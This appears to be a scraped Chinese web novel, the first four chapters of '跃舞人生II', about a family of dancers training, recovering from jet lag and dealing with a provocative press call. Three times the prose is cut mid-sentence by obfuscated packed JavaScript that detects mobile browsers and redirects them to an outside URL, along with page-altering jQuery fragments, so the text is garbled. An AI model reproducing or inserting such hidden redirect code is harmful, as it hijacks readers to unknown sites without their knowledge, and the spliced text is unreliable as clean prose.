《跃舞人生II》 1. 第一章 幸福该如何定义。 在冬日清晨的阳光里,舒舒服服的睡一个懒觉,然后在情人宽大温暖的臂弯里醒来。大概就是如此了。 一夜香甜无梦,萧泽醒来,揉了揉自己惺忪的双眼,扭头看见床头上的小钟已指向八点半。真是很久没睡到这么晚了,头还是有些昏昏沉沉的,萧泽轻手轻脚地掀开被子,坐起身来。 感觉到床垫地阵阵颤卝动,钟彦霖不情愿的睁开双眼,恍惚看见床边情人的背影,便扬起手臂把正在要起身的情人拉回怀里。 “欸?”萧泽惊诧了的一声跌回了床卝上,朦胧的睡意顿时摔去了大半。 “干什么去?” 钟彦霖紧紧搂着他的纤腰,重新闭上眼睛,一副不管不顾的样子叫人颇为无奈。萧泽伸手拍拍他还带着胡茬的侧脸, “放开,都几点了,还没给孩子们做早饭呢!” 谁想彦霖不仅没放手,反而搂得更紧了,“再睡一会儿。时差都还没倒过来呢,他们两个啊,肯定睡得像小猪似的。” 哎 ……萧泽拿他没办法,只得放弃抵卝抗,乖乖缩回温暖的被窝。期望着晓希和彦承也那么大的人了,一顿早饭还是能自己搞定的。 重新枕着情人的手臂闭上眼睛,虽说是想睡个回笼觉,可这么折腾一回,无论如何也睡不着了。“话说,晓希今年六卝月份附中就毕业了,要考咱们舞院的编导系。承儿呢?你有什么打算?” 萧泽指尖拨卝弄着彦霖睡衣上的一个小线头,有一搭没一搭的问。 提及弟卝弟的未来,彦霖也不是不担心的,便靠着床头微微坐起来,不禁长叹了一口气。 “我能有什么打算啊,看他的样子,就是一门心思想考舞院的。不过等来年吧,他这点斤两,你不说我也知道,与其临阵磨枪,还不如稳扎稳打的再好好练一年。再者,我怕他还没定性,再给他点儿时间,说不定到时候又不想搞专卝业了。” 萧泽点点头,彦霖的确和他想到一块儿了。承儿虽然有天赋有条件,起步毕竟晚,真想冲到晓希这样国际大赛的水平,并不容易。“还是看他自己的意思吧。他要真铁了心搞专卝业,就考个舞蹈教育或者表演系,以后平平淡淡的教教学卝生跳跳舞也挺好。反正你这当哥卝哥的,也不指望他挣钱养家。” “这倒是个好主意 ”,彦霖扭头就要亲,“以后两个小的,一个编一个教,倒是搭配的好。” 萧泽嫌他的胡渣扎人,看着他得寸进尺地又想来一下,一个翻身灵巧地滚开了,“这也就是咱们自己想想,承儿要是有了自己的主意,你这个当哥卝哥的不管愿意不愿意,怕都拦不住”。 “不怕”,彦霖难得看到这么活泼的萧泽,一时也来了兴致,不禁掀开被子起身去抓他,“长兄为父、长兄为父,我的话还是有分量的,何况,只要不是出格的要求,我也没什么好不同意的。不过……” 彦霖微微一顿,一个飞扑把萧泽压回了床卝上,“我看这个不愿意的……是你吧?” —————————————————————————————— 已经洗漱完毕的林晓希拼命的扯着死抱着棉被不松手的钟彦承,“快起来!都睡了十二个小时了还不够!” “可是我们昨天下午才下的飞机啊!总该倒个时差吧!” 彦承苦恼的在床卝上滚来滚去,就是说服不了自己现在起床。 《朔风传》的公演结束后,离寒假结束也没几天了。萧泽想着两个孩子辛苦了大半年,不仅舞蹈上成绩不错,文化课也没有落下,总该奖赏奖赏。于是和彦霖一番商讨之后决定,由萧泽带着两个孩子去欧洲玩上半个月!得知消息后的晓希和彦承自然喜上眉梢,晓希从前跟着学校出去公演几次,都是来去匆匆,也没时间好好领略异国的风光。彦承之前虽然没少跟着董勤勤的到处跑,不过小时候的事也都忘得差不多了。三人决定后便立刻买票成行,两天之内就准备出发,却可怜彦霖要照应着公卝司不能和大家同去,独守家门。 如此在房里纠结了一阵,彦承却还是死赖着不起床,晓希也扯不动他,索性放了手。 “那你睡吧,我自己去练卝功了,明儿个学长要查的话,你可别来求我帮忙!” 晓希改变策略,双脚在地上用卝力的踏了几下,假装要走。可回头一看,床卝上那人却还是没半点反应。 要说方才只是用计,这会儿可是真格的了。晓希又无奈又气,转身就走。可房门刚吱呀地一下被拉开,身后就立刻传来的声响,“晓希!” 林晓希回过头,险些忍不住笑场,彦承倏地坐起来,头上顶着比鸡窝还乱的发型,眼睛还迷迷糊糊睁不大开,声音闷闷的还带着点儿委屈,“你别走,我起来还不行么!” ———————————— 练卝功房里,彦承双臂揽着晓希的脖子,右腿从身后艰难地送到了他手里。出去晨练了一圈,叫倒春寒的凉风吹了个精神,前脚迈进练卝功房,后脚就打了个激灵。这光洁的地胶,这明亮的落地镜,时而让他想念,时而也让他害怕。 晓希双手一点点捋到他的膝盖,握紧了便用卝力向自己胸前扳过来。彦承立刻就叫唤卝起来,毛卝茸卝茸的头发在他胸口蹭来蹭去,“轻点儿……疼。” 晓希“嗯”了一声,手上却是没松劲儿,彦承揽着他脖/颈的手臂不由自主地松开,上身不禁一点点向下溜。 “欸?”,晓希眉头一皱,抖了抖肩膀,“快点,抱住了,再往下溜就让你顶着墙练了啊。” 彦承倒是真被这威胁给吓住了,只得费力的紧了紧手臂,嘴角却是委屈的撇了撇。干嘛啊,现在一个两个都管着他了。 “哎~疼~~~” 晓希扳着他膝盖又往回带了带,方才还能忍受的痛顿时成倍增长起来,“轻点儿轻点儿~求你了晓希!” 彦承不停的叫痛,磨的晓希也是无奈,低头看看他可怜巴巴看着自己的眼神,本来就是强撑的狠心便塌陷了一半,手上松了劲儿,彦承用卝力一挣便逃了出来,弓着身卝子一个劲儿放松腰部。 “你啊……就不能好好练会儿吗?”晓希叫他蹲下抱着膝盖,自己帮他轻轻捶着。彦承却是得了便宜还卖乖,一句顶回去还理直气壮的,“可是疼啊!我觉得我腰挺好的了,不用练了吧。” “也好不容易练出来的,就这么荒废了?” 晓希在身后听着,不禁停下手推了他一把,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239499|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话你也就跟我说说,明天学长检卝查的时候,你有胆也这么说。” 一提到萧泽彦承就没电了,晓希说的有道理,也就是欺负晓希心软才这么闹腾,当着萧泽哥的面儿,他还哪敢不练。 晓希自然看穿他也就是一时耍耍脾气,于是晓之以理动之以情的,见他这会儿面色便缓和了些,便连忙抓卝住机会,“快点儿,起来练吧!” 躲得过初一躲不过十五,自己练还是勤奋,要是等到叫萧泽哥逼着练了,搞不好还要挨哥卝哥打,这点儿道理彦承还是想得通的。抬头见晓希靠着墙等着自己了,只得磨磨蹭蹭的走了过去,依旧双手揽住他的脖颈,一条腿从后踢过来。 “刚才已经热过身了,我可直接压了,不许再闹了。” 晓希低声叮嘱,转眼双手就加了力。彦承挂在他身上,躲也不能躲,只觉得腰间越来越疼,支撑腿背面的韧带也撕扯了起来。 “疼……” 彦承微张着嘴,掩藏不住一脸纠结,眼见晓希还是一点不手软地往回扳着自己的膝盖,心底只剩暗暗的害怕。“脚背绷直了。” 既然决定开始练,不该有的心软就不能有了。晓希只做不见,故意冷着声音提醒他绷直脚背,手上却还在渐渐使力。 似乎可以看得到腿离自己越来越近,彦承终于忍不住,低下头将脸埋在晓希胸口。面对骨骼和韧带的极大拉伸,有一阵没有体验这样的疼痛,竟是越来越熬不住了。“轻点儿……求你了晓希,我真的……真的疼……” 闷闷的声音带了点嗫嚅的意味,晓希的心尖仿佛给人捏了一下,泛着说不出的酸劲儿。 “别闹了,再忍一会儿。 ” 说是一会儿,却不知是多久。知道求不到情了,彦承的手指紧紧攥着自己的手臂,一点儿都不敢松开。跟孔爵哥练得时候他敢耍赖,跟萧泽哥练的时候也时有偷懒撒娇,惟独到了晓希这里,他不常帮自己练卝功的,可是真练的时候,他一旦严肃起来,自己竟是最没脸说情的。 约莫着也有了十多分钟,彦承又鼓卝起勇气叫唤了几声。晓希无奈的叹口气,终于松开手,慢慢帮他把腿收回来。 彦承散着胳膊腿趴在地上放松,晓希跪在身侧一点点儿帮他按卝摩。有力的手指一点点揉卝搓卝着肌肉,酸痛的地方渐渐变暖,然后放松了下来。 “谢谢晓希……” 第一天回来练卝功就这么没出息,彦承也有些不好意思。于是回过头偷偷望了一眼一脸专注地帮自己按卝摩的晓希,轻轻吐出这么四个字。 晓希瞟他一眼,还是忍不住笑了,“你呀,就出去玩儿了这么两天半,怎就就变得这么没出息了!之前还说跟我同进退的,才几天啊,就忘了?” 彦承就是脸皮厚也受不了这样的揶揄,何况晓希可是揶揄的在情在理。当下脸上就不禁泛起了红晕,彦承怕被看见,只得低下头,低声反驳,“我不就是说两句嘛,你说不许躲,我不是抱你抱的紧紧的,一点儿也没往下溜啊。” 这样底气不足的彦承却流露卝出难得的可爱,晓希按卝摩完,笑着拍拍他的背叫他起来,“咱还有一天可练呢,你要是一天都能坚持这样,再来跟我邀功吧!” 2. 第二章 南瓜粥,莴笋,莲藕,都是清爽家常小炒。筷子却是在碗里拨来拨去,半点胃口没有。 “玩呢还是吃呢。” 哥哥冷不丁的一句,彦承给吓了一跳,手上一抖,饭粒儿都从碗里给拨弄了出来。 “哥,困呢。” “才六点就困?” 彦承老大不情愿的皱起眉头, “那不是有时差嘛。” “你总有理。晓希也困?” 彦霖抬头问晓希,晓希不好意思的点点头,彦霖又转头去看情人,萧泽看着他无奈的表情也不禁笑开了,跟着点点头。四个吃饭三个困,这饭还怎么吃?钟彦霖撂下筷子扯着他们几个的胳膊朝屋里推,“行了行了都去吧,都去睡!晚上我洗碗!” “算啦”,萧泽拍拍情人的手,起身帮忙收桌上的碗筷,“困了就睡时差还怎么倒?晓希,承儿,去客厅压脚背,我收拾完带你们练功!” 哦……两个小的闻言不禁相视苦笑,旅行时候温柔的学长和萧泽哥果真一去不复返了。 脚背绷直,脚尖蜷过去,彦承双手扶着沙发背,看了看自己用力绷紧的脚,不禁深吸一口气,咬咬牙立了起来。 终于不困了……因为疼,彻头彻尾的疼,脚趾的地方好像要断了一样。旅行的日子里虽然没荒废练功,却到底比不得家里每天从早到晚,欢快了半个月,又要吃苦受罪的补回来了。 “上身立直,膝盖绷紧,腹部、臀部收紧。” 身旁的晓希同往日一样,轻声给他重复着动作要领,同样的字句,同样的语气,同样的在他咬牙坚持的时候响起。不知怎么的,彦承突然有了种错觉,好像许多年后的某个傍晚,他们依旧能这样默默陪伴着彼此。 手指渐渐扣紧沙发,柔软的真皮被指甲刮出细微的痕迹,彦承小心地保持着重心,身体任何一点的轻微的晃动都带来脚下阵阵的纠痛。晓希转头看看一脸纠结的彦承,不禁笑道,“好歹也是真皮的沙发,你给抓坏了,我可替彦霖哥心疼呢。” “啊?哦!”彦承慌忙缩回手,身子却不禁一下子失了平衡,跟着便是“哎呦”一声。晓希转头,只见他狼狈地坐在地上,抱着脚龇牙咧嘴。 “怎么了?” “脚,脚好像扭了……” “脚扭了??快给我看看?” 晓希连忙低下身去看,轻轻动了动他脚踝,彦承就忙不迭的呼痛。 “快别嚷了,怎么这么不小心。好在伤的不重,不过也得休养一两天了。” 一听说得休养两天,彦承刚刚还纠结的脸立刻就舒展开了,浓密的小粗眉毛也不禁挑了挑——休养?那就是不用练功了,也不用晨练了?那可终于可以好好睡个懒觉了! 晓希抬头瞧见他一脸喜色,不禁问道,“怎么着?还挺高兴?”“哪有哪有。”彦承见状连忙又装回一张苦瓜脸,“我这不是怕耽误进度嘛。” “那你就不要担心了”,晓希扶起他一本正经的说道,“不过一两天而已,练不了成舞,咱还能练基功,练不成转和跳,咱还能练软不是?总不能叫你闲着就是了。” 如意算盘如此被打破,彦承恨得牙痒痒,明知晓希是故意气自己,搭着他肩膀的手不禁使坏用力掐了一下。晓希吃痛,拉着他的手险些松开,彦承给闪的一个趔趄,连忙暗叹一声自作自受,当下也不敢再乱闹,只稳稳当当的给晓希拉起来了。 晓希扶了彦承在沙发上坐下,嘴上忍不住数落他,“不过是压个脚背就能伤着,看等会学长和彦霖哥不说你。”晓希转身要去拿药,谁想一扭头就看见学长人已在眼前,险些装了个满怀。萧泽把果盘放到茶几上,见彦承大咧咧的坐在沙发上,不禁皱眉,“怎么练脚背还练到沙发上了? “没有没有!没偷懒!是……是我……脚扭了……” 一见萧泽哥变了脸色,彦承慌忙解释,看着萧泽哥的眉头越皱越紧,自己的声音也不禁越来越低。 “好好的怎么会扭了脚?” 彦承不敢答话,只低着头默不作声。萧泽狠狠瞪了他一眼,在沙发上坐下将他的脚捧在膝上,又叫晓希去拿了冰袋。 彦霖听说彦承扭伤了脚也连忙赶了过来,见萧泽已经帮他冰敷着,想也伤的不重,只是免不了又数落他几分。“这个做事不专心的毛病什么时候能改?好好的扶着沙发,不溜神能摔么?” 彦承低垂着头,一边咬牙忍着冰的半条腿都麻了的“透心凉”,一边低声分辨,“我这不是也受到惩罚了嘛,我……我保证没有下次了。” “下次?再有下次就挺着,没人帮你治。就这样,还想考舞蹈学院呢,到时候别拖了晓希的后腿才是。” “哥…你!” “好啦,你也别说他了。这么多年的毛病,一天两天就能改了?” 萧泽只留了一瓶喷雾在桌上,随手拾掇起药箱和一干垃圾通通塞到彦霖怀里,“去,扔了去。扶承儿回房休息,晓希跟我练功去。” 六月考学季,专业艺考结束后剩下的时间就不多了,晓希专业不差,需要补的,也就是文化课。 晓希在身前舞蹈,萧泽边替他纠正动作,心里边盘算着该给他请个家教好好补习。 不知何时,虚掩着的大门被轻轻推开,门口探了个脑袋进来,自然是彦承了。嘴上虽然说着能偷懒最好,可真能好好歇在床上了,想着练功房里的晓希和萧泽哥,心里又痒痒的,坐立难安起来。 “这儿不对,脚尖要向外滑出来,别外开练得不错,跳起舞来却全忘了。” 晓希轻声应了,马上将这动作又重做了一遍。一直知道学长在舞蹈上的严谨,可直到真的日日跟学长练舞了才知道什么叫一丝不苟---自己明明已经留意着脚尖了,在学长看来,却还是做得不够。 彦承在门口看着,听萧泽哥这么说,也不禁试试,却忘了自己扭了脚,陡然而至的酸痛如一柄小箭射上心头,呻吟也不禁脱口而出。 “哎呦!”门口传来一阵乒乒乓乓,萧泽和晓希回头看,只见彦承正扶着门框左摇右晃、站立不稳的模样。 “怎么不好好歇着?”晓希冲过去扶他。彦承笑嘻嘻地一瘸一拐的进来,“你积极备战考试,我也不能歇着啊。眼看就六月了,来不及了。” 萧泽抓了几个垫子叫他坐下,“六月有你什么事儿。不好好在房间呆着,又出来瞎逛。” “我……我决定了要和晓希一起考舞蹈学院的!”虽然有点底气不足,但彦承心里的确是这么想的。 萧泽无奈,伸手在他头上落下一巴掌,“考?拿什么考,专业及格了还是文化课跟得上。别总想着走捷径,再老老实实的给我练一年再说。” 彦承自然不甘心,刚要开口分辨,却给晓希叫住,“彦承,听学长的吧,学舞不能贪快,基础打实在了才行。” 彦承不情愿的点点头,虽然不愿意晚上晓希一年,可萧泽哥和晓希说的有道理,开始练舞的时候萧泽哥就跟自己说过,九尺之台起于垒土。自己起步晚,比赛什么的还能临时抱个佛脚,想去最好的舞蹈学院,总不是一两个月就能完成的。其实他早就猜到了萧泽哥没有让他今年考学的打算,不过随着日子一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧泽移开沙袋,帮他把腿一点点收回来。彦承费力的撑起身子,欲言又止。从欧洲回来一刻都没有歇,今天被晓希拉着练了一天,晚上扭了脚,现在又耗腿,说不累不疼,那是假的。可抱怨的话到了嘴边,想想萧泽哥和晓希,也都是如此的,恐怕,比自己还更辛苦些,他们什么都没说,自己又哪有什么资格抱怨。 萧泽见他抿了抿嘴唇,却什么也没说,心里疼惜,不禁随手在他屁股上落了两巴掌,“行了,越说还越来劲儿了。去!踢踢腿去,脚扭了就躺地上踢,晚上叫晓希给你按摩还不成?” 萧泽哥这两巴掌拍下来,不重,却着实让彦承红了脸,从前总不愿被哥哥们当小孩子看待,仔细想来,确实是自己每每任性又孩子气。“没……我没事的!就是有点儿困,踢了腿就去睡了!” 彦承言罢就自顾自的踢起腿来,萧泽和林晓希从旁看着也不禁相视一笑,这个承儿啊,幼稚懂事都是他。 冰凉的乳膏在双掌上匀开,然后在皮肤上搓到温热,彦承光着腿由着晓希照顾,望着他垂头专注的样子,眼睛不禁不住地去瞟那瓶舒缓膏,自己,也总要为晓希做点什么才行啊。 按摩的差不多,彦承刚想伸手,晓希就爽利地收了一干东西,洗了手便迅速关灯钻进了被窝,“别看了,我没事的。这么多年早都惯了,从前也没抹过,也没怎么样。” “那我以后也不抹!” 黑暗中,赌着气的声音仿佛带出了一样的神色来。晓希侧过头,借着月光只看得见依稀的轮廓,高耸的眉峰上,仿佛还有皱起的纹路。“早点睡吧,不是困了吗?别明儿个又没精神了。” 等了两秒,没有听到回应。这小子,睡得够快的。 晓希微微展了展酸痛的双腿,轻阖双眼,这一天,他也是累了。学长说,考舞院的时候,专业一定要拿第一,不是那么容易的事情,自己却一口答应,从今天起,要更努力才行。 早春的夜,柔和而静谧,缓缓流动地空气中,一旁的少年窸窣地翻个身,与情人相对,“晓希,等我,明年我一定能考上!” 3. 第三章 时差倒了没两天,一转眼便开学了,晓希和彦承又开始了家里学校两头跑的生活,萧泽也如计划帮晓希请了家教。每天无非是练功、读书,排的满满的,一个月来,忙的几乎脚不沾地。可是每天一家人围坐着一起吃晚餐,在晓希眼中已经是能抵过所有忙累的最幸福的事情了。 又是一天晚饭上桌,五脏庙已经闹翻了的彦承积极的坐到桌前,一等到哥哥们动筷便迫不及待地将一大块肉送进嘴里。看着弟弟如狼似虎的吃样,彦霖不禁皱了皱眉,不知道的,还以为是饿了他两天没给饭呢。萧泽正帮彦承和晓希盛汤,见状便在桌下踹了踹情人,“累了一天都饿了,就别挑他那个了。” 彦承一见萧泽哥替自己说话,忍不住得意地笑弯了眼睛,筷头也伸进嘴里嘬了起来,可紧跟着手背上就吃了一记。“嗷”,彦承惊的缩回手,转头果然见哥哥正瞪着自己,手握着筷子作势还要再打,“越说你还越上脸了。好好吃饭!” “哦……” 彦承低声应了闷闷的吃饭,不禁腹诽,一天中不挨哥哥训几句那完全是不可能的事情,听萧叔说,哥哥这么多规矩的样子是和爸爸如出一辙的。 想到爸爸,彦承有些失了神。说起来,如果不是有照片,自己怕都不记得爸爸妈妈的样子了。虽然萧叔和婶婶对自己一直都像亲生儿子一般,即便移居欧洲好几年,每年也都抽空跟自己见见。可这几年毕竟一直跟着哥哥,时常,还是会想念爸爸妈妈的。偶尔看到街上还在蹒跚学步的小孩,总不禁去想,自己从前是不是也是如此跟爸爸妈妈撒娇的。 彦承的脸色不觉暗下来,晓希只以为他是被彦霖哥训了不开心,便故意扯开话题和萧泽聊起了最近的日本青少年现代舞大奖赛,青少年大奖赛算得上“日本名古屋国际芭蕾舞与现代舞大赛”的前奏,许多获奖的新人都是将来冲击名古屋大赛的有力选手。晓希没能去参加,不仅是因为准备时间不足,也是萧泽希望他能暂时专注学业。不停地游走在各大比赛之间,虽然能积累经验,人却总难免变得轻浮。 同往年一样,这次大赛吸引了世界各地的新一代舞者,很多新人也借此崭露头角。虽然这几年晓希已经从芭蕾中转了出来,萧泽却知道他一直格外挂心,便从身后摸出张碟片,放在了晓希跟前的桌面上。“大赛有官方录像,我托朋友昨天决赛刚结束就传了一份给我,有版权的,自己看看得了,谢绝传播。” “真的!?”晓希兴奋地亮起眼睛,几乎不敢相信,将光碟拿在手里翻来覆去,恨不得现在就冲到电视前一睹为快。看着晓希开心的样子,彦承也被惹得心痒痒,看了看满桌的丰盛饭菜又看看了光碟,不知该舍弃那一样。 彦霖无奈地看着两个孩儿,不禁向萧泽投去个“都怪你”的眼神。萧泽也只是笑,从晓希手里抽出光碟收回身侧,“都好好吃饭,吃完饭叫彦霖哥去洗碗,我们去看比赛。” 三个人窝在沙发里,三双大长腿齐齐地摆在脚榻上,三双眼睛目不转睛的盯着电视。彦霖端着两盘水果来到客厅,看到的就是这么个景象。 弯腰将果盘摆在茶几上,彦承的声音马上响了起来,“哥,挡着了。” “哦。” 彦霖识趣地闪到旁边的小沙发上,见三个人都没有要理自己的意思,只好拿了块哈密瓜,自顾自的吃起来。 最后一个上场的是日本的本土选手。舞蹈不难,立意却很新颖,选手的诠释也几乎完美,一停一动都与音乐契合的天衣无缝。 音乐声止,场上掌声不断,彦承不禁感叹,“这个人看上去很厉害啊。” 萧泽点点头,“他叫陶乐钦,是这次大赛的冠军,这支舞是他自己创作的。” “他自己创作的?”晓希大吃一惊,这个陶乐钦看样子和自己差不多年纪,竟然可以创作出这么成熟的作品,并一举夺了冠军。 “可是,他不是日本选手嘛?为什么叫个中国名字,他到底是中国人还是日本人啊。” “他是中日混血。” 低沉浑厚的声音突然从旁边传来,彦承猛地侧过头,吓了一跳,“哥,你什么时候过来的?” 彦霖挑眉,对这个小舞痴着实无奈,也不回答,只继续介绍这个陶乐钦,“他父亲是日本十大富豪之一的小田切弘,母亲是中国人,小田切的第三任妻子。小田切因为特别爱这任妻子,所以听从妻子的意思给他们的儿子起了个中国名字。陶乐钦上面有两个哥哥一个姐姐,两个哥哥都在自家的社团工作,姐姐也已经出嫁。我们公司因为和他姐夫家的社团有些业务往来,所以才知道一些。” “这样啊……没想到这么优越的富家公子也能跳舞。” 彦承若有所思地感叹着,忍不住咂了咂舌。 “是啊”,彦霖知道他是又不禁暗暗把自己拿去跟人家比较,便趁机也给他施加点压力,“所以你看看,人家爸爸是首富,也没见有你这么娇气的。” 彦承脸上一红,忍不住没底气的解释,“我没有……我最近……不是挺努力的嘛。” “最近表现的不错,要继续坚持才行。” 萧泽安抚地揽过承儿的肩膀,接着彦霖的话头说下去。“陶乐钦八岁开始学舞,小田切弘很宠爱这个儿子,所以全力支持他,请了不少名师。不过这一次,还是第一次参加比赛,所谓十年磨一剑,也就是这么个意思了。” 好厉害啊! 彦承和晓希一阵感叹,萧泽也点头赞许,这个孩子很不简单,他舞蹈中的生命力和脉动,是华人舞蹈圈中他很久没有见过的了。 茶几上的电话突然震动起来,是晓希的手机。晓希看着陌生的号码,不禁皱起眉头,能打自己手机的人无外乎就那么几个,这个陌生号码,八成是打错了。 “喂?” 接起电话,另一头传来和善的女声,“请问是林晓希么?我是北方文艺报的记着,有几个问题想采访您。” “采访我?” 晓希有些诧异地望着身边的学长,一头雾水。“你应该是打错了,不好意思。” 电话里的女生立刻急切起来,“不不不,请您不要挂断。我就是要采访您的没打错。我知道您近两年来逐渐在国际大赛上崭露头角,被很多人看好。我就是想简短地问你几个问题,不会耽误您很长时间的。有很多学舞蹈的孩子都很喜欢你,你的话能激励不少人呢。” 生怕是被切断了通话,记者连珠炮地游说起来。 想到记者嘴里那些爱跳舞的小孩,晓希顿了顿,勉强答应了。“好吧。” 他和学长们打个招呼让他们继续看比赛,自己站起身走去一旁的厨房。“那你问吧。” ”首先,请问您对陶乐钦夺得这次日本青少年大奖赛的金奖有何感想?” 陶乐钦?…… 林晓希下意识回头看向客厅的方向,敏感地觉出这通电话的不寻常。哪怕是五分钟之前,他还不知道陶乐钦姓甚名谁。“我其实也是今天才知道他的,嗯……只看到过他的两支舞,单从这两支舞来看,我觉得他是很好的现代舞演员。”晓希如实回答。 “那,陶乐钦在赛后采访中直指近两年涌现出来的青少年舞者很多都是没有灵魂的技巧机器,只能一味’既往’,不能创新替舞蹈界’开来’,日本舞蹈界和许多外媒都表示赞同。而且很多业界人士一直认为您就是这一类的代表,甚至觉得这段话其实就是在影射您,请问您对此有什么看法?会对号入座吗?” 那和善的女声仿佛顿时变得犀利起来。林晓希呆立在原地,被这不知从哪里飞来的一席话戳的一口气梗在喉间。 “我……我目前的专业是中国舞,应该……不属于同一范畴。” “舞蹈艺术都是相通的。许多技术过硬的中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239501|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国古典舞和古典芭蕾演员都曾被诟病将艺术跳成了体育竞技,您如何看待自己也被归为此类的这件事?” “您觉得您的舞蹈缺乏灵魂吗” “您觉得您是否真的只盲目地追求技巧呢” “……” 林晓希不记得自己如何敷衍了一句句带着刺的逼问,挂断了电话,耳朵里只剩单调的忙音,良久。 海洋淡香是彦承最爱的。 晓希在香薰炉上点上几滴精油,默默坐在桌前。洗手间里的水声还在响,抬眼也看得见桌面上堆满着的高考试题,平时练过晚功,彦承去洗澡,他总会坐在桌前认真学习一阵,淋漓的水声,也似一种陪伴。 可是今天,这水声莫名变得令人烦躁,他和彦承都喜欢的海洋淡香,也好像索然无味,提笔审题,每一道题都那么难,连一行行字一道道公式都狰狞起来,仿佛在嘲笑…… 晓希倏地站起身,推开满桌习题冲出门去。 他冲进练功房,冲到房间中央,然后,起舞! 他跳《吉赛尔》!那是妈妈曾经教他的,他最喜欢的一段舞! 他跳《晚夏》!当年就是学长的一曲晚夏让他爱上古典舞!让他去考舞院附中,让他想要拜倒在学长门下! 他跳《云门》!那是古典班的学生,个个都会跳、都爱跳的舞,不会跳这个舞,不敢说自己是舞院附中的人! 没有音乐,可是他脑子里有!一首首的跳,不停的跳。他记得每一个音符,每一处细节。每个动作,都是他在练功房里一个个磨出来的,每段音乐,都是他听过千百遍陪他度过练功房里无数个日日夜夜的! 他的舞,没有灵魂吗?他,是台机器吗? “晓希。” 练功房的门突然被推开,是萧泽。 晓希停下来,胸前起伏的明显,他有些怔然地汇集起目光,看见是学长站在门口,门后还有个影子,他知道是彦承。 “怎么了?” 萧泽走进来。 晓希依旧大口喘着气,见学长一步步走向自己,却突然无法去看学长的眼睛,他……对视不下去。慌忙地低下头 ,晓希刻意拎起T恤的下摆擦了擦汗,“没事,我……我睡不着,再练一练。” 将孩子心不在焉的样子看在眼里,萧泽终究没说什么,只推着他出了练功房, “练也得有个度,很晚了,回去睡吧。” 晓希点点头,跟着萧泽走到门口,一抬头就见彦承等在门边,一脸担忧,“大半夜的瞎精神,红牛喝多了?” 呵……晓希笑不出来,却还是扯了扯嘴角,跟着彦承回房。 汗湿的黑色练功服,挂在少年的肩膀上,萧泽望着两张背影,一如年少时的自己。晚餐后电话里的内容,晓希没有说,他还是从同行嘴里听说了。陶乐钦说的,不对,却也并不全错—— 晓希是个好苗子,生活的历练也让他比同龄人成熟、努力很多。但他的舞蹈之路,太顺了。旁人羡慕不来的先天条件,自小艺术世家的熏陶,一路科班出身,名师指导,一直是同辈人中的佼佼者。 人走的太快太顺,便难免把路子走窄了。也许会越来越习惯于呆在适合自己的框框里,习惯重复着自己更擅长的东西。日子久了,也许终有一日只能永远呆在自划的围栏里,画地为牢,故步自封。 晓希自然永远不会走到那一天;就只是因为一路以来的顺遂,便要这样一个自律又刻苦的孩子虚心接受没来由的指责,也许,太苛责了。但即便为时还早,萧泽还是希望借此推着他踏出一步,让这个一帆风顺的孩子经历些不一样的东西。陶乐钦,偏颇却锋利,像是一根能刺进人心里,让人无论如何都不能好过的刺。但这样的他,也必将是个好的对手,晓希需要这么一个人,与他胶着着爬上更高的阶梯。 4. 第四章 “还不睡么?”彦承挪开枕边的横杆,收回了腿用力地活动了几下,连月来每日的积极训练已经让一切都成为习惯,酸痛与疲惫似乎已是生活中不可或缺的一部分。 床前背对着自己的身影没有回应。彦承下床走到桌旁,一只手按在那本已经看了一半的《骆驼祥子》上,“还不睡么?” “啊,” 显然是方才看的太出神,晓希给吓了一跳,扬起头,只见彦承一脸严肃,不禁一脸商量地拿开他的腕子,“你先睡吧,我保证看完这章就睡,嗯?” 彦承沉默了半晌,实在拗不过他,只得点点头,默默躺回床上。晓希连忙跟他说晚安,细心地将台灯的灯光调暗。 被子拉到脖颈,彦承还是忍不住偷偷打量着情人的背影,在昏暗的灯光下仍清晰的背影。艺考的日子一天天近了,平日里陌生的高考知识一样样凑到眼前;考编导,要读要看的东西更多,近代现代的名著都要有深刻的理解。同之前准备比赛时一样,晓希就像个不知道疲累的机器人,可彦承还是看得见他满身瘀伤,他忍痛时皱起的眉头,和奋力挣扎起床的模样。这样优秀的情人,让他还来不及心疼,就要开始奋力追逐了。 在自己睡意朦胧中轻手轻脚的爬上床,在清晨及时按下第一声闹铃,帮萧泽哥打理家务,帮自己练功。晓希还是如此勤奋细心的晓希,自己也还是偶尔会赖床会偷懒的自己,可是这样的他,这样的自己,这样辛苦夹杂甜蜜的生活,不正是他们所向往的么。 直到艺考前一天,晓希也没有过分的紧张,毕竟,作为附中最优秀的学员之一,直升进首都舞院实在不是什么难事,唯一担心的,就是学长对自己文化课的要求。专业舞校的孩子,大清早上就是早功,一上午的专业课。吃过午饭坐在教室的课桌前,眼皮都不自觉得打架,文化课都当成补眠课来上,有几个真正学到东西的。 